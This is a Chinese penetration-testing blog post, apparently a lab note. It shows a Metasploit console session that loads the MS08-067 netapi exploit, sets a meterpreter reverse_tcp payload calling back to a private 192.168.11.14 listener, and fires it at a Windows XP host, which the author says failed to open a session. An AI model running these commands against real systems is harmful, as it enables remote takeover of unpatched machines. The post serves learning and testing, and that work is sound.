渗透杂记-2013-07-12

本文介绍如何使用Metasploit框架中的MS08-067_netapi模块来攻击未打补丁的Windows系统。该模块利用了Server Service中路径规范化的一个漏洞,能够触发远程代码执行。文章详细记录了设置目标、主机地址及端口,并使用Meterpreter反向TCP负载的过程。

  笔耕不辍

102512469.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
root@bt:~# msfpro
[*] Starting Metasploit Console...
[-] WARNING! The following modules could not be loaded!
[-]     /opt/metasploit/apps/pro/msf3/modules/exploits/freebsd/local/mmap.rb: NameError uninitialized constant Msf::Post::Common
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
      Trace program: running
            wake up, Neo...
         the matrix has you
       follow the white rabbit.
           knock, knock, Neo.
                         (`.         ,-,
                         ` `.    ,;' /
                          `.  ,'/ .'
                           `. X /.'
                 .-;--''--.._` ` (
               .'            /   `
              ,           ` '   Q '
              ,         ,   `._    \
           ,.|         '     `-.;_'
           :  . `  ;    `  ` --,.._;
            ' `    ,   )   .'
               `._ ,  '   /_
                  ; ,''-,;' ``-
                   ``-..__``--`
                              http://metasploit.pro
        =[ metasploit v4.6.2-1 [core:4.6 api:1.0]
+ -- --=[ 1134 exploits - 715 auxiliary - 194 post
+ -- --=[ 309 payloads - 30 encoders - 8 nops
[*] Successfully loaded plugin: pro
msf > use exploit/windows/smb//ms08_067_netapi
[-] Failed to load module: exploit/windows/smb//ms08_067_netapi
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > info
        Name: Microsoft Server Service Relative Path Stack Corruption
      Module: exploit/windows/smb/ms08_067_netapi
     Version: 0
    Platform: Windows
  Privileged: Yes
     License: Metasploit Framework License (BSD)
        Rank: Great
Provided by:
   hdm < hdm @metasploit.com>
   Brett Moore < brett.moore @insomniasec.com>
   staylor
   jduck < jduck @metasploit.com>
Available targets:
   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (AlwaysOn NX)
   4   Windows XP SP2 English (NX)
   5   Windows XP SP3 English (AlwaysOn NX)
   6   Windows XP SP3 English (NX)
   7   Windows 2003 SP0 Universal
   8   Windows 2003 SP1 English (NO NX)
   9   Windows 2003 SP1 English (NX)
   10  Windows 2003 SP1 Japanese (NO NX)
   11  Windows 2003 SP2 English (NO NX)
   12  Windows 2003 SP2 English (NX)
   13  Windows 2003 SP2 German (NO NX)
   14  Windows 2003 SP2 German (NX)
   15  Windows XP SP2 Arabic (NX)
   16  Windows XP SP2 Chinese - Traditional / Taiwan (NX)
   17  Windows XP SP2 Chinese - Simplified (NX)
   18  Windows XP SP2 Chinese - Traditional (NX)
   19  Windows XP SP2 Czech (NX)
   20  Windows XP SP2 Danish (NX)
   21  Windows XP SP2 German (NX)
   22  Windows XP SP2 Greek (NX)
   23  Windows XP SP2 Spanish (NX)
   24  Windows XP SP2 Finnish (NX)
   25  Windows XP SP2 French (NX)
   26  Windows XP SP2 Hebrew (NX)
   27  Windows XP SP2 Hungarian (NX)
   28  Windows XP SP2 Italian (NX)
   29  Windows XP SP2 Japanese (NX)
   30  Windows XP SP2 Korean (NX)
   31  Windows XP SP2 Dutch (NX)
   32  Windows XP SP2 Norwegian (NX)
   33  Windows XP SP2 Polish (NX)
   34  Windows XP SP2 Portuguese - Brazilian (NX)
   35  Windows XP SP2 Portuguese (NX)
   36  Windows XP SP2 Russian (NX)
   37  Windows XP SP2 Swedish (NX)
   38  Windows XP SP2 Turkish (NX)
   39  Windows XP SP3 Arabic (NX)
   40  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
   41  Windows XP SP3 Chinese - Simplified (NX)
   42  Windows XP SP3 Chinese - Traditional (NX)
   43  Windows XP SP3 Czech (NX)
   44  Windows XP SP3 Danish (NX)
   45  Windows XP SP3 German (NX)
   46  Windows XP SP3 Greek (NX)
   47  Windows XP SP3 Spanish (NX)
   48  Windows XP SP3 Finnish (NX)
   49  Windows XP SP3 French (NX)
   50  Windows XP SP3 Hebrew (NX)
   51  Windows XP SP3 Hungarian (NX)
   52  Windows XP SP3 Italian (NX)
   53  Windows XP SP3 Japanese (NX)
   54  Windows XP SP3 Korean (NX)
   55  Windows XP SP3 Dutch (NX)
   56  Windows XP SP3 Norwegian (NX)
   57  Windows XP SP3 Polish (NX)
   58  Windows XP SP3 Portuguese - Brazilian (NX)
   59  Windows XP SP3 Portuguese (NX)
   60  Windows XP SP3 Russian (NX)
   61  Windows XP SP3 Swedish (NX)
   62  Windows XP SP3 Turkish (NX)
   63  Windows 2003 SP2 Japanese (NO NX)
   64  Windows 2003 SP1 Spanish (NO NX)
   65  Windows 2003 SP1 Spanish (NX)
   66  Windows 2003 SP2 Spanish (NO NX)
   67  Windows 2003 SP2 Spanish (NX)
Basic options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload information:
   Space: 400
   Avoid: 8 characters
Description:
   This module exploits a parsing flaw in the path canonicalization
   code of NetAPI32.dll through the Server Service. This module is
   capable of bypassing NX on some operating systems and service packs.
   The correct target must be used to prevent the Server Service (along
   with a dozen others in the same process) from crashing. Windows XP
   targets seem to handle multiple successful exploitation events, but
   2003 targets will often crash or hang on subsequent attempts. This
   is just the first version of this module, full support for NX bypass
   on 2003, along with other platforms, is still in development.
References:
   http://cvedetails.com/cve/2008-4250/
   http://www.osvdb.org/49243
   http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
   http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.11.14
LHOST => 192.168.11.14
msf exploit(ms08_067_netapi) > set RHOST 192.168.11.18
RHOST => 192.168.11.18
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.11.14:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Chinese - Traditional
[*] Selected Target: Windows XP SP3 Chinese - Traditional (NX)
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > sessions
Active sessions
===============
No active sessions.
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    RHOST    192.168.11.18    yes       The target address
    RPORT    445              yes       Set the SMB service port
    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
    Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
    LHOST     192.168.11.14    yes       The listen address
    LPORT     4444             yes       The listen port
Exploit target:
    Id  Name
    --  ----
    0   Automatic Targeting
msf exploit(ms08_067_netapi) >

貌似链接没有建立成功。

本文转自文东会博客51CTO博客,原文链接http://blog.51cto.com/hackerwang/1246991如需转载请自行联系原作者


谢文东666

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值